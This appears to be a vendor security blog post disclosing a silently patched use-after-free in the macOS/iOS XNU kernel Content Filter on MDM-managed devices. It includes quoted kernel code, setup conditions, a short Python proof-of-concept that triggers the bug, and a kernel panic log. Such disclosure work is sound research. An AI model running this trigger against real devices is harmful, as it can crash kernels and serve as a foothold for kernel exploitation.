Content-Filter Strikes Back: Yet Another (Silently Patched) MacOS / iOS Kernel Use-After-Free


Follow zecops


As we were investigating anomalies on Mobile Device Management (MDM) devices, ZecOps MacOS / iOS DFIR analysis revealed yet another vulnerability that is applicable only to managed devices. 

As far as we are aware, similarly to the previous vulnerability that we analyzed in Content Filter (DoubleNull Part I, DoubleNull Part II), Apple patched this issue silently without assigning a CVE.

This vulnerability is a Use-After-Free deep inside XNU kernel Content Filter module which can be triggered only on managed devices. This vulnerability allows sandboxed processes to attack XNU kernel and leads to kernel code execution on MDM enabled devices.

This vulnerability affects iOS 12.0.1 ~ iOS 12.1.2, fixed on iOS 12.1.3 (XNU-4903.242.1). Upon closing the socket, it sleeps and waits for hash_entries to be garbage collected, however it keeps the reference of the hash_entry which can be freed in GC thread. The freed hash_entry object will be used when the sleeping thread wakes up.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Vulnerability Details

We’ve explained Network Extension Control Policy (NECP) and content filter in our “Content Filter Kernel UAF DoubleNull Part I” blog post. In content filter, the “struct cfil_entry” maintains the information most relevant to the message handling over a kernel control socket with a user space filter agent.

Function cfil_filters_udp_attached is called to wait on first flow when closing a UDP socket on last file table reference removal (For more details see bsd/net/content_filter.c:5336)

for (int i = 0; i < CFILHASHSIZE; i++) {
  cfilhash = &db->cfdb_hashbase[i];

  LIST_FOREACH_SAFE(hash_entry, cfilhash, cfentry_link, temp_hash_entry) {

    if (hash_entry->cfentry_cfil != NULL) {

      cfil_info = hash_entry->cfentry_cfil;
      for (kcunit = 1; kcunit <= MAX_CONTENT_FILTER; kcunit++) {
        entry = &cfil_info->cfi_entries[kcunit - 1];

        /* Are we attached to the filter? */
        if (entry->cfe_filter == NULL) {

          error = msleep((caddr_t)cfil_info, mutex_held,
                   PSOCK | PCATCH, "cfil_filters_udp_attached", &ts);//unlock so then sleep
          cfil_info->cfi_flags &= ~CFIF_CLOSE_WAIT;

LIST_FOR_EACH_SAFE is a macro that iterates over the list safe against removal of list entry.

Following is the expanded code for LIST_FOR_EACH_SAFE, the hash_entry points to next hash_entry
(hash_entry->cfentry_link.le_next) in the cfentry_link at the beginning of the loop.

#define	LIST_FOREACH_SAFE(var, head, field, tvar)			\
	for ((var) = LIST_FIRST((head));				\
	    (var) && ((tvar) = LIST_NEXT((var), field), 1);		\
	    (var) = (tvar))
For (hash_entry = cfilhash.lh_first;         \
    hash_entry && (temp_hash_entry = hash_entry->cfentry_link.le_next, 1);    \
    hash_entry = temp_hash_entry)

LIST_FOREACH_SAFE is not so “safe” after all, each loop the temp_hash_entry is signed to the next element, it will trigger the Use-After-Free (UAF) if the next element is freed by Garbage Collection (GC) thread while sleeping.

PoC Setup Environment

Similarly to our previous blog about Content-Filter, running the PoC on your macOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions:

  1. At least one Content Filter is attached.
  2. An NECP policy which affects UDP requests is added to the NECP database.
  3. The affected NECP policy and the attached Content Filter have the same filter_control_unit.


Following PoC code generates cfentry_list with multiple hash_entries which will trigger the content filter UAF.

# PoC - CVE-2019-XXXX by ZecOps Research Team (c)
# (c) - Find and Leverage Attacker's Mistakes 
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
port = 1000
addr = ''
for i in range(30):
    s.sendto(msg, (addr, port+i))

The following panic was generated on macOS 10.14.1 following an execution of the PoC.

Anonymous UUID:       5EC8060F-9BB5-FC9F-827F-3100A79DDD5F

Thu Jul 25 01:51:26 2019

*** Panic Report ***
panic(cpu 0 caller 0xffffff800498089d): Kernel trap at 0xffffff8004bc9e9f, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000105f81000, CR3: 0x00000000a09db0ee, CR4: 0x00000000001606e0
RAX: 0x0000000000000001, RBX: 0xffffff8018462458, RCX: 0xffffff8004d54d28, RDX: 0x0000000003000000
RSP: 0xffffff88b14cbd60, RBP: 0xffffff88b14cbdb0, RSI: 0xffffff80113fc000, RDI: 0x0000000000000000
R8:  0x0000000000000000, R9:  0x0000000000989680, R10: 0xffffff800f193c24, R11: 0x00000000000000ee
R12: 0xffffff80113fc000, R13: 0xc0ffeee7942133be, R14: 0x0000000000000082, R15: 0x0000000000000003
RFL: 0x0000000000010286, RIP: 0xffffff8004bc9e9f, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000105f81000, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Backtrace (CPU 0), Frame : Return Address
0xffffff800474b290 : 0xffffff800485653d mach_kernel : _handle_debugger_trap + 0x48d
0xffffff800474b2e0 : 0xffffff800498eac3 mach_kernel : _kdp_i386_trap + 0x153
0xffffff800474b320 : 0xffffff800498067a mach_kernel : _kernel_trap + 0x4fa
0xffffff800474b390 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0
0xffffff800474b3b0 : 0xffffff8004855f57 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff800474b4d0 : 0xffffff8004855da3 mach_kernel : _panic + 0x63
0xffffff800474b540 : 0xffffff800498089d mach_kernel : _kernel_trap + 0x71d
0xffffff800474b6b0 : 0xffffff8004804c90 mach_kernel : _return_from_trap + 0xe0
0xffffff800474b6d0 : 0xffffff8004bc9e9f mach_kernel : _cfil_sock_close_wait + 0x1cf
0xffffff88b14cbdb0 : 0xffffff8004d9dd55 mach_kernel : _soclose_locked + 0xd5
0xffffff88b14cbe00 : 0xffffff8004d9e83b mach_kernel : _soclose + 0x9b
0xffffff88b14cbe20 : 0xffffff8004d14aae mach_kernel : _closef_locked + 0x16e
0xffffff88b14cbe90 : 0xffffff8004d14732 mach_kernel : _close_internal_locked + 0x362
0xffffff88b14cbf00 : 0xffffff8004d19124 mach_kernel : _close_nocancel + 0xb4
0xffffff88b14cbf40 : 0xffffff8004de104b mach_kernel : _unix_syscall64 + 0x26b
0xffffff88b14cbfa0 : 0xffffff8004805456 mach_kernel : _hndl_unix_scall64 + 0x16

The Patch

This vulnerability was patched on iOS12.1.3 (xnu-4903.242.2~1). Following the patch, Content-Filter jumps out of the loop before calling msleep, so the temp_hash_entry won’t be used after being freed by the GC thread.

following the patch

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞
reverse bounty

Researcher? Analyst?

If you get excited about exploits reproduction like we do, you would love ZecOps Reverse Bounty program - details ahead!

Join Reverse Bounty™ >

Partners, Resellers, Distributors and Innovative Security Teams

ZecOps provides the industry-first automated crash forensics platform across devices, operating systems and applications. Learn more about what we do and get our one pager.

Get One Pager >